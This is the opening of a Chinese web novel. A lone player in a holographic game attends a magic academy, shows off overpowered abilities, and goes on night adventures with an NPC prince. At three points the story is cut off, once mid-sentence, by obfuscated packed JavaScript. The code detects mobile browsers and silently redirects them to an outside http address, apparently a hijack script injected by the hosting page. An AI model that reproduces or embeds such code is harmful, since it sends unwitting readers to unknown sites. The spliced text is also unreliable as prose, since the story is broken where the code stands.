《谁会在游戏里上学啊?》 1. 第 1 章 每年的九月不仅是高萼花盛开的时节,还是阿尔斯安联合学院入学季。 因此每年的九月天才层出,怪胎云集。 按常理来讲,仅仅一个学院的入学牵动了全世界,是近乎不可能的事情。 但在众人眼中这不足为奇。 毕竟是阿尔斯安联合学院,简称阿联院,由各国组建而成的最大综合性学府,每年都会向世界输送数不胜数的优秀人才。更别提它也是最大的先行者培养基地,对抗灰界的大部分人才都出自其中。 具体点来讲,阿联院是全世界佼佼者的聚集地,是整个世界的未来。 仅这一点,这就完全足够了。 今年的阿联院论坛格外地热闹,主要就在于今年的新生身上。 阿联院的入学季会出现各种新鲜事,毕竟一下子凑一堆佼佼者在一起,个个必定心高气傲,谁也看不惯谁,有点摩擦甚至大打出手都是常事。 天才年年有,今年特别多。 若是天才还好,但今年的新生怎么看怎么怪胎。 先是有人用【视野】的反概念在开学仪式上公然斗殴;再是有人利用【使命】捉弄学院门口的猫,在校园内开展一场猫猫竞走比赛;甚至还有新生特意用【控制】做出了覆盖大半个学院的攻击特效,然后轻而易举地轰穿了测试场…… 老生感到了危机。 他们连夜做出了新生分析表,并发帖置顶——《新生危险性排行榜》。 这个榜单在短时间内传遍了几乎所有的学生,引起了广泛的关注。 “虽然说是参考了每一个新生的战斗力和性格,但这个榜单的玩笑意味更重吧……”坐在人群中的一个人点开榜单,一边浏览一边对旁边的人小声吐槽,“真是无聊,难道还真的有人会认认真真地把每一个人都分析一个遍吗?” 他上下划拉了一下平板,视线定在了榜单的最上端:“但最前面的十几名的排序还是可靠的,尤其是——” 他身旁的同学探出一个头,往平板上扫了一眼。 “啊,我知道这个人。”对方皱了皱眉,“——穆曲。” ### 我好像听见有人叫了一声我的名字。 告示栏:[错觉吧。] 我想也是,毕竟我在这个游戏里还没有多少认识的人。 可能有人在这里要问,为什么说是游戏? 这还用说,虽然这个世界真实无比,每个人物都无比生动,但我现在所在的地方的的确确是一个全息单机游戏,而我是这个游戏里唯一的玩家。 世界真实是因为建模逼真,人物能灵活互动是因为搭载了智能AI。 多么合理的解释。 我当时就是被这个解释忽悠进来的。 这款游戏名为《至高神力:圆满人生》,声称游戏画面精致,剧情生动,拥有最完整的异世界地图,最好看的游戏风格,最激烈的角色战斗,给玩家以完美的游戏体验。 简而言之,是个广告词老套宣传不给力的不知名游戏。 我无意间发现了这个游戏,是因为它打的豆腐块小广告正好弹在了我搜索资料网站的搜索框处,搜资料就不可避免地要先关掉弹窗。 这真的是一个缺德的位置。 我点了叉号,然后小广告打开了。 我:??? 很多人应该见过拥有一溜叉号的广告,不仅广告位置占的多,还喜欢来‘真假叉号’,或者干脆是点哪个都会打开广告网页。 这种一般都是各种奇奇怪怪的谋利网站。 这个游戏广告打开的一瞬间,红绿配色的网页闪瞎了我的眼睛。 不仅如此,因为我之前打开了声音,电脑开始深情地朗读:“登录即送钻石神装、满级技能,升级打怪、称王称霸、君临异世尽在《至高神力:圆满人生》,你会在这个世界拥有你想要的一切,快来加入我们!” 低沉而有力的男音在那一瞬间震响了一整层楼。 那一秒,我的脚趾开始了地面工程建设。 这一切的离谱程度超越了我的想像。 更离谱的是,我还真的花费二十块买了这个游戏。 重点在——我。 这很奇怪。因为我从来都不对这个感兴趣,甚至我认为这是浪费人生的行为。 更别说游戏是有钱有闲的人打发时间的工具,而对于我,把打工的一部分钱用来买游戏,是一种给我从不敢想的奢侈行为。 我觉得自己的大脑可能是在那天晚上被这个离谱的东西创飞了。 不久后我收到了游戏官方给我发来一个半人高的箱子。 里面有一个像是游戏舱一样的金属仪器。 的确是游戏舱,说明书写的清清楚楚。 总之,我进入了游戏,用现实中的名字,现实中的性别,现实中的数据站在这里,这才是离谱中的巅峰。 这么一个不明不白的东西我还敢躺进去,我是不怕自己嘎掉吗? 我觉得我不是被鬼上身,就是脑子还没恢复。 我进入游戏后,出现在我面前的是一个半透明的弹窗,上面显示: [敬亲爱的玩家:您好,欢迎来到游戏。] 我叫这个弹窗为告示栏。 他就是现在出现在我面前的这个东西。 游戏提示过游戏中时间与现实不一致,游戏全程预计需要现实中的半个小时到一个小时,在不影响现实的情况下,玩玩也无所谓,但我有点不满的是另外一点。 我盯着面前的弹窗看,想起自己接到的第一个游戏任务,越想越气:“为什么我打个游戏还需要上课?!哪儿有‘玩家’在游戏里还要上课?” [但您也没有反对,]告示栏巧妙地回答,[应该说您也很乐意。] 他这样说也没错,我刚开始得知游戏的第一个任务是从阿尔斯安联合学院毕业时,还浅浅地对异世界的学校抱有一些期待。 我曾幻想过这所学院会像小说中的霍格■茨,蜡烛飘在空中,挥手间就会出现布满长桌的大餐,时不时地能来一趟惊险有趣的夜游,一切都是新奇而愉快的。 但这是在我不用学习的前提下。 而如今我不仅要每天完成各科课堂论文和背诵任务,了解各国及相应政体的知识,还要提升自己的体术水平——这些完全没办法倚靠‘概念’的帮助! [您对此游刃有余。] 这是当然,因为我为了掌握这些东西花费了很长时间,毕竟我从来不是一个聪明的人。 我不想理这个说话阴阳怪气的东西,这时讲师和我对上视线,果然下一秒就点我的名字。 “穆曲!你来回答一下这个问题——如果你想要运用通用型概念【视野】,应该遵守什么条例?” 我早有预料,起身自如而完美的回答了问题。 在话语落下的一瞬间迎接我的是四周骤然响起的掌声。可能有一些同学的起哄在里面,所以掌声响了很久才停止。 我对此并不意外,因为我自从入学就保持着高调,现在可以说是学院的风云人物。 我现在是一个玩家,如果我没有做到完美才是奇怪的事。 “看来这位同学很受欢迎。”塔特尔讲师笑了笑,“那么下面能请这位同学演示一下【视野】的运用吗?我想作为天才的那曲同学一定能够胜任这项任务。” 我明显地听到塔特尔讲师在说‘天才’两个字时,很重的咬了咬字。 讲堂里的学生发出一阵讶异声,接着声音消了下去,转变成了窃窃私语。 【视野】的运用并不在课本中,属于附录书本的必学内容,而且难度较大。 简单来讲,就是‘超纲内容’。 他在故意为难我。 我并不知道我哪里得罪了他,而且我觉得我也不会去招惹一只只会暗搓搓给你使绊子的中年笑面狐狸。 [他是你进行入学测试时的评审之一,同样的,他是他那个时代的天才。]告示栏说,[看来他打算打击一下你,省的你自傲到肆意妄为无视纪律。] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176508|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我把这个唠叨的家伙屏蔽了。 我向着塔特尔讲师的方向走去,我的身后静悄悄,所有人都等待着我。 站上讲台,面对所有的人。 所有人注视着我。 “现在你要做个特效吗?”塔尔特讲师嘲讽我,“像开学测试时那样?” 我决定如他的愿,于是我做了一个特效——和开学那次一样,覆盖了大半个学院,一看就高端大气上档次。 接着我的左眼像是手电筒一样发起了光。 在我左眼亮起时,我清楚地听见很多人被这个特效震惊到的的吸气声。 我满意起来。 塔尔特讲师默不作声地启用了【鉴定】,确认了我使用概念的正确性。 “看来这位同学给所有人做出了一个很好的例子。”他说。这句话还好,起码我满意地接受了,但后面的话就不是那么美妙,“他学会了运用这个概念,但大家要注意,不要把自己的眼睛变成激光灯。除非你们想替代阿尔德系列的工作。” [阿尔德系列是一款快要更替的自主探索工具。]告示栏又冒了出来,[嗯,如您的讲师所言,它的眼睛会发出探测光线。] 他又自说自话地冒出来了,我讨厌这一点。 刚下课,旁边的人就凑了过来。 “塔尔特讲师对你有很大意见,”黑发青年眼中是幸灾乐祸的笑意,“这也不难理解——毕竟他是你测试时的监考人员之一。” 我勉勉强强地从记忆里找到了塔尔特讲师的面孔。 “毕竟你太嚣张了,明显是一个刺头。”黑发青年接着说,“没几个人看得惯你。” “包括你,哈耶达。”我对他说,这时被我叫出名字的青年有些尴尬地摊了摊手。 没错,介绍一下,我面前的这位是我的前对头现好友哈耶达。 他是康塔尔特众议国的三皇子,是阿尔斯安联合学院入学新生中的佼佼者,但对我更重要的是,他是这个游戏的NPC。 之前我提到过,我不怎么玩游戏,因此只是大概知道一些关于游戏的概念,比如:装备,NPC,建模什么的。 但就算没有对比,我也能肯定这个游戏的NPC会是智能化最高的。 哈耶达看着我,表情的每一处细节都如常人一样生动。 我们在刚开学时总是挑衅对方,但其实之前也没到对头的程度,只是单纯地看不惯。 “这也不能是我的错。”哈耶达说,“我说过的——你太嚣张了,一看就很欠揍。” “但不会有人打得过我。”我轻描淡写地回应。 哈耶达被面前的人这句话刺地哼了一声,但也没有否认。 我知道他绝对在心里大声骂我,但我并不打算改一改我的说话方式。 因为我说的是实话。 这个游戏名为《至高神力:圆满人生》,而我在游戏中开了很大的挂。 我的能力是由游戏规则给予的,而游戏规则共有两条。 [■不会流血。]是游戏的第一条规则,于是这成了我的能力。 [■能支配所有概念]因此我现在能够随时随地地启用所有的概念,虽然还不能做到人们想象中甚至是想象不到的任何事——包括且不仅限于控制陨石撞大地,但这也是早晚的问题。 换而言之,我会是人们所说的‘无敌’。 我是无敌的,因此揍个百来号同龄人对现在的我来讲是小意思。 嗯,也多亏了‘概念’,我把哈耶达揍服了。 “不过你的确很厉害……”身边的人突然漫不经心似的说。 “如果你在说我炸毁测试场的事情就算了吧。”我说,“这没什么厉害的。”毕竟这完全是游戏‘玩家’身份带给我的便利。 “不只是说这个,”他深蓝色的眼睛直视着我,“是各方面。” 他这时说的话听来格外真诚。 我感觉有点心虚,但我的能力很强是事实。 “当然。”我说,“毕竟我是穆曲。” 2. 第 2 章 他真会说话。 我很喜欢这样的人。 “你很喜欢我这样说。”我刚想到这里,他就笑着开口,“你自己知道吗,当你被别人夸赞时,你的眼睛会向下瞥。” 我的确不知道这一点。 “当你站在被轰穿的测试场上,你的眼睛一直在往靠下的地方看。” 哈耶达说,他学着我的动作做了一下。 他双臂自然地垂落着,抬头环视了一下四周,接着深蓝的眼睛往下瞥,就着这个姿态往前走了几步。 他这时候看起来很冷淡甚至是傲慢的。 我觉得他的表演有夸张的成分。 “你觉得这是夸张?”哈耶达摆摆手,表情看起来想捶我一拳,“当时你好像没有把任何人放在眼里,你就站在场上,‘轰’‘啪’‘咔’就完成了测试,更令人气愤的是,你还做了除了吸引人没有任何用处的特效,半个学院的人都跑来围观,原本是各个天之骄子的展示台,却变成了你一个人的独秀场。你在退场时没有看任何一个人,一副目中无人的样子……我真的想把你套麻袋打一顿。” 他的话流畅而生动,完全不像是一个NPC。 他的话让我想起了刚入学的时候。 当时因为被迫入学,再加上为了不露馅产生尴尬,我连夜背完了这个游戏世界的基本知识,我的火气很大。 在很大的火气促使下,我开始放飞自我。 我做了很多事,包括且不限于把餐厅每个人盘子里的鱼肉换成树叶,用成堆的鱼肉去喂猫。 凭良心说话,这的确是很欠揍的行为。 好在这一切都是神不知鬼不觉的,要不然我现在就会被所有人追着打。 轰穿测试场只是里面很小的一个事情,却招惹了哈耶达最大的怒气。 “那可真是抱歉。”我敷衍地回答,这句话让哈耶达气得更是牙痒痒。 我自诩为善解人意的人,这时当然不会再说出什么让对方生气的话来。 “明天早上我是后一节的课,”我转换了话题,“那么今晚要去堪纳斯湖吗?” 我知道哈耶达明天的课在下午。 哈耶达的表情僵了僵,“我对那个不感兴趣。” 他说谎的技术不太好,对夜游的好奇和兴奋已经快从眼睛里溢出来了。 我感觉有点好笑。 这时我知道他只需要一个台阶。 “我刚刚买了最新款的妙妙芝士脆。” 他装作不情愿的样子,咳咳了几声,“看在芝士脆的份上。” 我们爽快地约定了夜游的时间,而至于地点…… 哈耶达说:“管他呢,那里有趣就去哪儿。” 那就这样。 一切都变得顺理成章,而我认为我将会拥有一个很好的夜游经历。 和朋友一起做一些事情往往是友谊更深一步的契机,我当然不会错失这种机会。 当我晚上九点从宿舍的窗户跳下来,一路静悄悄地跑到平台时,我看见哈耶达在最大的阿吉克树下向我招手。 他凑过来抓住我的手臂,向我露出兴奋的笑容。 哈耶达今天晚上穿了一身黑棕色的外衣。 “这是夜游的仪式感。”他对我解释说,“不过我没有纯黑色的斗篷,只能暂且用这个代替。” 他一边说着,一边抑制不住地四处张望。 今天他有一种不同寻常的兴奋,甚至到了过分活跃的地步。 我没有回话,而是盯着晚上的学院看。 现在的天色黑的厉害,一眼望过去,只能看见一连串路灯的灯光。 昏黄而朦胧,仿佛被猫调皮地扒拉了一路的黄色毛绒线团。 游戏中的黑夜和现实中的黑夜一样的真实,明明是不同的景色,却好像能够重合在一起。 我在这景色中看见了闪烁的湛蓝,如同熔化的大海。 哈耶达瞥了我一眼,他蓝色的眼睛在黑暗中闪闪发亮。 他抓住我的手,向旁边的小道走去。 他边走边小声抱怨:“你在愣什么神啊。晚上还会有人巡逻,真是的。” 他这副样子像是高年级的学长一样,然而事实上,我们都是刚刚入学的新生,对这个学院连熟悉都算不上。 我不知道他哪儿来的那么大自信,但我觉得他这副样子狠有趣。 我们沿着小道好不容易远离了巡逻密集的地方,正准备爬上外山。 “我知道一个。”哈耶达说,他的表情跃跃欲试,“我从学长那里打听了,这里有安芬尔灯树。” 安芬尔灯树又名灯神树,我在《五百种植物大全》中见过,那是一种很罕见的树种,听说如果在迷路时发现了灯神树,给它讲一个故事,它就会开始发光,让前来寻找的人找到方向。 这是很童话的一个故事,我不觉得这会是真的。 “那就去看看。”但我干脆地说。 我俩一拍即合,开始往山上走。 往山上的路不太好走,即使铺了台阶,仍然比较陡峭,因此一般的巡逻都不会来这边看。 也有一般这里不会来人的原因。 哈耶达没有用【视野】,摸索着往上走,这时对面有黑影‘哐’地向他撞下去。 我眼疾手快地拦了一下,才没有发生惨案。 “真是安萨斯达!”即使这样哈耶达也被惊得说了脏话。他借了下力从地上撑起来,狠狠地瞪着面前的人。 (安萨斯达是《兰撒经》开界录里逆界书中引燃申明战争的导火索,是一个狡诈奸邪的谋士,后来兰撒教人及受其影响国家常用安萨斯达作为骂人以及发泄的词语,可以作为形容词、名词、语气词使用,偏贬义,但无实际意义。) 因为我在拦人的第一时间就启用了【强化】的概念,而且在拦人的瞬间把对方推了回去,对面的人站立不稳地退后了几步,向我发出嗤笑。 他是故意的。 【视野】让我看清了哈耶达的脸,他的脸变得涨红,甚至开始向发黑的方向转变。 “特苏……”他说。 好像是一个名字。 对面的人脸色也不太好看,他身后的人尝试阻拦他,但成效不佳。 他挣开身后人的阻拦,大声说了一句什么话。 好像是其他语言。 因为他说的太快,我还没来得及启用【翻译】,下一秒就看见哈耶达脸色变的更难看了。 我启用了【翻译】。 这时对面的那人接着大喊:“恶毒的册文们!册文都应该滚,你们凭什么在这里?!凭你们胡言乱语的兰撒经?!我听说你是康塔尔特的三号贵宾犬是吗?被一群死鬼赶出来的苟且偷生的蠕虫?!” 他身后的人正在窃窃私语。 哈耶达刚放下拳头,又举起拳头。 他骂的话太难听了,甚至我不太明白其中的意思,都感到难受。 我抓住哈耶达的拳头。 哈耶达一脸愤怒地与我对视。 “我也来。”我说。 ### 我们把面前的人揍了一顿。 对方身后的人好像是临时凑出来的一样,一见出事大多数纷纷跑走了,零星剩下的几个也不足为惧。 “安萨斯达的。”哈耶达气愤地咒骂着,抹了一把脸,把鼻青脸肿的那人丢给对方身后还能站着的几个人。 “真糟心?”我问。 “真糟心。”他看看我,回话说,“那么就不想这些?再往里面走走。” 我们无言地往林道更深处走去。 现在已经很晚了,我看看平板,发现已经到了快十点。 后山很安静。 隐约能看见闪烁的星星缀在天空上,时隐时现。 越往前走,旁边的植物就越是茂密,路也更难走。 我渐渐走在了前面,哈耶达脚滑了一下,于是我把手伸给他。 他看了我一眼,抓住我的手。 “我讨厌他们。”哈耶达说了十分钟内的第一句话,“那些克那芬教激进分子……他是怎么通过学院审核的。” “讨厌的话就不想那些?”我说,“想点开心的,比如他们会被老师抓到,明天还会被罚字数最多的检讨,需要当众朗诵……” 哈耶达笑了起来。 “如果他被抓到,他们会把我们说出去。”他比划了一个划拉脖子的动作,“我们也会因此被罚。” “不会。” 哈耶达因为我斩钉截铁的回答愣了一下。 “等着吧。”我轻松地说,“我们会听到他们念自己的检讨。” 我早就启用了【控制】以及【覆写】,也用【视野】找准了位置,这时候下山了的几个人应该正自觉地趴在老师面前承认错误,痛哭流涕说明他们互相打架的原委,并‘真诚恳切’地建议每人一份三千字检讨,下周当众朗读,如果写的是对我们不利的话就会自动变成他们的黑历史。 这样想来,检讨朗诵说不定会变成他们从小到大的黑历史放送。 哈哈,我敢保证【覆写】能把他们想说的任何话变得面目全非。 我冲他眨了眨眼。 哈耶达明显觉得这不可能,甚至他觉得很搞笑。 但他的表情轻松了一下,拍了拍我的肩膀。 “那么谢了。”他说。 一点都不真诚。 但我不打算计较这一点。 我们往前走了一点,寻找书中说的灯树。 哈耶达很认真地搜寻着,一棵一棵观察。 “有时候我觉得你像是亚庇。”他突然说,这时他正在研究他身旁树叶的纹路。 他引用了一个我不知道的人物。 但我不会承认这一点,这可能会有损我游刃有余的形象。 哈耶达看了我一眼,开始给我解释:“他是《兰撒经》中名气很大的一个人物,出身贫民却潇洒不羁、肆意妄为、不屈权贵,在少年时才气纵横,成年后又遵循神的旨意领导先灵军反抗暴君……” 我听到一半就喊停了。 “我才不会是遵循神意的人,”我说,“我想干什么就干什么,这一切都是我自己的意愿。” 哈耶达蓝色的眼睛半眯了起来,他这时看起来更像是一只黑色的卷毛猫了。 他思考了一下,接着往下补充:“那么如果是你,你不会按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176509|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神的旨意成为一个贤君,你会一打完仗就爽快地把一切放下,随随便便地找一个人担当大任,自己一个人去游乐世界;甚至半路不管不顾撂摊跑走……这可真是你的风格。” 我明白了,他并没有我想象中的了解我。 “有可能,但事实上,我会是那个写下这个故事的人,而不会是沉浸于故事的人。”我笑着回话,“不管怎样,现在有结尾了,这算是一个完整的故事吗?” 哈耶达想到了什么,这时他屏住了呼吸。 告示栏突然出现在我面前。 [安芬尔灯树听了你的故事。] 半透明告示栏出现的一瞬间,眼前被莹蓝色照亮了。 当蓝色的光芒投在我们身上时,哈耶达还保持着一种期待的笑容。 但几秒后他缓缓转头看向我,表情逐渐僵硬。 我们互相对视了一眼。 我们两人在巡逻向这边袭来的风声中拔腿就跑。 谁跑得慢谁就是倒霉蛋。 ### 我们你追我赶地往远一点的地方藏。 巡逻都启用了【飞行】的概念,来的很快,不一会儿,我们就看见近乎半个学院的巡逻都到达了这里。 我们第一个没有想到的是——那个传说是真的,而安芬尔灯树发出的光亮引来了麻烦。 “真是。”哈耶达咬牙切齿地小声说,“安萨斯达的,这里哪里能躲?” 我突然看见他身后的灌木动了动,一把捂住他的嘴,往旁边一扑,滚进草地里。 一个巡逻从灌木左边的方向走出来,站到了我们刚刚站立的位置上。 我开启了【反视野】和【覆写】的概念。 我们现在在的位置很微妙,只和巡逻隔着半米的灌木丛,而且因为刚刚我扑倒哈耶达的姿势,我们现在挨在一起,我的半个身子都‘哐’地压在哈耶达的手臂上。 他被撞地小声吸了口气。 在朦胧的黑暗中,我听见哈耶达的心跳声。 “咚。” 他紧张地扯住我的衣服。 这时我们靠的很近,近到能够听见彼此的呼吸声。 巡逻向我们的方向走近了一些。 我感觉哈耶达也往我的方向挪了挪,他的呼吸声变得更加清晰,与此同时,他的头发轻微地蹭过我的手臂。 在不能动弹的情况下,头发蹭过皮肤的感觉很明显。 心跳声的节奏变的混乱,更加清晰,清晰到仿佛在黑暗中只有我们两个人。 这种感觉很微妙,但我并不反感。 过了一会儿,巡逻的动静开始远离我们。 【视野】中显示巡逻在周围转了好几圈,但最终还是离开了。 这在我的意料之中,毕竟我启用了【反视野】,我能确定现在没有一个人能看见我们,而【覆写】又覆盖掉了我们发出的细小的声响。 “走了吗?”哈耶达小声问。 得到肯定的答复后,他试探着抬起头。 “我没想到会有这么多安芬尔灯树。” 我也没想到。 “我原本以为只有一棵,一棵就已经很难得了。”哈耶达看着面前的景色说,然后停顿了一下。 他的眼睛中映着面前的蓝色。 “但……真美啊。” 在我们不远处的是一片由枝叶搭建起的莹蓝‘海洋’,比太阳更和煦,比星光更明亮。 它刹那间以不容置疑地姿态铺洒在天空下,于是侵占了夜晚所有的光亮。 这种光亮如果不是亲眼所见,是永远无法想象的,也是永远无法描述的,总之,在安芬尔灯树点亮的一瞬间,我们仿佛看到了比星流还要璀璨的梦。 仿佛是吉光片羽。 在这光亮下,我们看了对方一眼,因对方狼狈的形象一同开始大笑。 我们是同样的头发乱糟糟,满是灰尘和树叶。 “你已经没有形象可言了。”哈耶达笑得差点背过气,“阿联院的新生第一……哈,不行了,笑死我……现在的你看起来像是杂毛山雀……” 我朝他翻了个白眼。 “那你是什么?毛发凌乱的黑色卷毛犬?” 他向我挥舞拳头,我轻而易举地抵住了他。 我看向他,哈耶达没有生气,反而露出了一个笑容:“刚刚巡逻在我们旁边,他居然没有发现我们,巡逻的【视野】使用可是要经过考察的——虽然我也用了【反视野】,但我不认为我的概念运用能够做到蒙混他们的地步。” 他发现我启用了【反视野】,并且运用地十分出色。 哈耶达会注意到这一点是完全是应当的,因为他足够优秀,如果他没有认出来我用了什么概念,我反而会失落,因为这会让我怀疑自己交友的眼光。 事实证明,我的眼光很好。 “这只是因为我很有天赋,我下意识就会用了。”我说。 “你这话听起来这让人不爽。”哈耶达看看四周,站起身,“如果只是天赋,你对这些概念的运用就不会如此熟练。你很优秀,这不是难承认的事。” 我愣了一下。 我也要承认,他真的很会说话。 3. 第 3 章 在那天夜游后的第三天,那天晚上找事的人带头在全校面前朗诵了检讨,其中涵盖了他从小到大做过的所有错事。其言辞恳切,情感真实,让人深受感动。 学院众人明显被这一惊一乍的场景震惊到了,有不少人在互相询问这人是不是疯了。但也有人认为这个人突然良心发现。 结果是学院论坛上出现了好几个置顶的帖子,不少人在里面哈哈大笑。 我对这个结果不太满意,我觉得如果换成让他在大众面前劈个叉来个广场舞,或者当众发表黑历史宣言,这样得到的反应会更合我心意。毕竟这是游戏,一切都以让我乐意为标准。 总之,事情已经告一段落了,现在我关注的重点是我和哈耶达之间的友谊。 我自认为经过夜游和同仇敌忾的经历后,我们自己的情谊会得到加深。 事实上也的确如此,在那之后我们经常在一块,一起上课,一起吃饭,一起聊天。我们分享各自的经历,大笑着痛骂课堂留的作业。 在上完最后一节选修课后,我习惯性地往约好的位置走去。 那里已经有不少人了。他们围在那里,三三两两地说着话。 哈耶达正站在人数最多的小群体中央,从我的角度能看见他微笑着的侧脸。 他正在和周围的人畅快地聊天,这个团体不时地发出大笑声。 哈耶达很受欢迎。 我清晰地有了这个认知。 而当我走向他时,那边的所有人都向我看来,他们注视着我,碰碰哈耶达的肩膀。 “穆曲来了。”他们这样说。 其实这句话应该还有另一个意思——你的好友来了。 这层含义是我在心里自顾自加上的,但我认为这并没有错。 于是哈耶达看向我,深蓝的眼睛开始发亮。 他脱离他的团体,向我走来。 “嘿。”他说,“等你好久了。” 他举起一只手,我心领神会地和他击掌。 击掌这个动作还是我教会他的,而哈耶达认为这很帅气,所以我们经常使用这个动作。而因为我们两人在学院里的高人气,不少人有样学样,击掌渐渐成为了学院中的流行。 我们击掌后走了在一起。 我们汇合后就往讲堂外走,路上开始谈论最近的事情。 “就算你用了【控制】……”哈耶达突然说,“但操纵他人也是能够做到的吗?” 他在问今天早上发生的那件事。 我就知道他早晚要问。 “因为我达到了精通。”我装模作样地回答,“你听过吗?如果一个人只钻研一剑,日日夜夜刻苦不懈,那么一剑也能无敌,这就是精通。” 我把武侠小说里的内容搬过来了,我觉得哈耶达会听不懂,但他却在我的注视下点了点头。 “有道理。”他回答,“但有点不对,【一剑】可不是只钻研就能学会的。” 我觉得他的话有点难以理解。 我有种不好的预感——我们说的可能不是一个东西。 果不其然,哈耶达观察了我的表情,开始努力地思考。 “你说的不是安达的【一剑】吗?”哈耶达逐渐明白过来,“【一剑】你知道吗?安达的【一剑】。” 他脸上写满了不可思议。 他一说我想起来了,在我老早之前背诵过的知识大全里我见过。 安达是木原的首领,而【一剑】是安达的传承性概念。最开始由初代安达拉尔安斯创立,之后每一任安达都会传承这个概念。 【一剑】在这里非常有名,有很多和它相关的书籍或是电影,有“一剑破城,一剑通天”的说法。 “……”哈耶达看了看我,接着往前走,“走吧。” 他明显不想再和我谈论这个了。 今天是难得的外出日,外出日会持续一天半,正如名字所表明,在这期间我们能够自由出校。 我们走出门,一直到学院的大厅里。 从下午开始到明天都是出门时间,因此现在学院里没有多少人。 一些人正在大厅里收拾行李,看见我们走过来,向我们招手。 “兰撒大道的霍齐商店最近出了新品,好像说是奶油芝士泡泡酒。”二年级的学长笑着告诉我们,“很多人都趁着这次出门去尝鲜。” “我之前就听说要有新品,”哈耶达谢过了学长的消息,转头告诉我,“我的消息很灵通。” 我知道这一点,毕竟已经和他相处一个月。 “你从没去过那里对吧,所以这次游玩就交给我。”他自信地说。 说这话的时候,他的眼睛闪闪发亮,其中盈满了笑意。 阳光从他背后照射过来,投在他的侧脸上、发梢上。 实话讲,我知道他很好看,毕竟作为‘玩家’的朋友,怎么也不可能是相貌普通的人。 但这时候他简直是把自己的颜值发挥到了极致。 “怎么了?”哈耶达见我不说话,自顾自地凑过来。 他深蓝色的眼睛上映着我的身影。 我盯着他眼中我的影子看了一会儿,在心中点了点头。 嗯,但我也不差。 游戏中的样貌直接照搬了现实中我的样子,而现实中我虽然没有至交好友,但只被我的外貌吸引的可是大有人在。 我微笑起来,把他搪塞过去。 “我在想新品会是什么样。”我说,“我可不想失望。” “真是。”哈耶达撇了撇嘴,“等着吧,如果你失望我就把你揍到满意。” ### 而等我们真正到达兰撒大道已经过了一个小时了。 我远远地就看见遍布街道的灰白色——卡列安树正适合这里的气候,因此被广泛种植,而在兰撒大道也不例外。 我们走在街道上,街道很宽敞,但即使这样也时不时有人从我们身边擦踵而过。 街道两旁是卡列安树,树枝宽大细密,两侧树枝交叉着铺展在天空上,仿佛自成了一处隧道。 这里看起来像是半开放式的环境。 “现在还不到吉日。”哈耶达伸手摸了摸灰白的树干,“吉日这里会点上飞鸟形状的彩灯,挂上绸布,在树干间坠上礼盒。还有游灯行——每家每户的人们举着火把排成长队走过整个街道。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176510|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的描述很生动,仿佛画面出现在了我的眼前。 “还有霍齐商店的新品,是泡泡酒系列,这个系列都很美味,”他说,“我相信你会喜欢的。” “如果我不喜欢……”我试探着说。 “那就是你没眼光。”他回答,我们对视一眼,被双方眼中的笑意感染得一同笑了起来。 “太阳汤面也不错,”哈耶达说,“我小时候曾偷跑出来尝过。” 这时他又开始说一些自己的故事,从儿时的糖果,一直到学院里的捣蛋鬼,逐渐的,街道的中心出现在我们面前。 我突然站住了。 出现在我们面前的是挤满了人的铺子,哈耶达所说的霍齐商店和太阳汤面就在其中。 我们看着面前的人山人海陷入了沉默。 哈耶达沉默地看看我。 我沉默地看看他。 “你去排霍齐商店,我去买汤面?”他问。 我大概计算了一下,发现这样需要的时间远比我们预估的时间要长 我拒绝了这种没效率的行为,所以我反对这个提议。 “那你怎么办?你自己一个人去买?”哈耶达没好气地瞥着我。 我眼前一亮。 不是吧。 哈耶达也发现了,他张开了嘴。 “等等?!你要怎么办?” 我自信一笑:“这好说。” 我启用了【幸运】的概念。 二十分钟后,我拎着双人份的芝士泡泡酒和太阳汤面站在哈耶达面前。 当我站在哈耶达面前时,我仿佛感觉我在他眼中的形象发生了巨大改变。 他用一种复杂的眼神注视着我,然后认真地问我:“你没有做什么违规的事情吧?” 我:? 不是,他觉得我刚刚是去抢劫了吗?我在他心中原来形象这么差劲吗? 我觉得我受到了重创。 我们避开人山人海,找了一个较为开阔的地方把东西分了。 把我们两人点的分完,还剩一个小甜品。 饮品和食物是相当的美味,我俩靠在雕像旁边一同吸溜吸溜。 我们完全没有意识去干其他事,沉浸在美食中就已经足够了。 而当我们都接近满足时,我们开始扯一些闲话。 哈耶达一边叼着泡泡酒的吸管,一边用手摆弄袋子里的小甜品:“这个是什么?你自己的加餐吗?” 我学习他叼着吸管:“不,是其他朋友的礼物。” 这句话里所包含的信息把哈耶达一下子打蒙了。 “其他……朋友?”他惊讶地说,“什么?!你这个成天窝在图书馆的孤寡人士居然还有其他朋友?” 他的话有一点对我不再只是他一个人朋友的不悦,但更多的是单纯的吃惊。 我:…… 他的话可真扎心。 但他的确说对了,从实际上来说,不应该说是‘朋友’,而应该说是‘未来的朋友’。 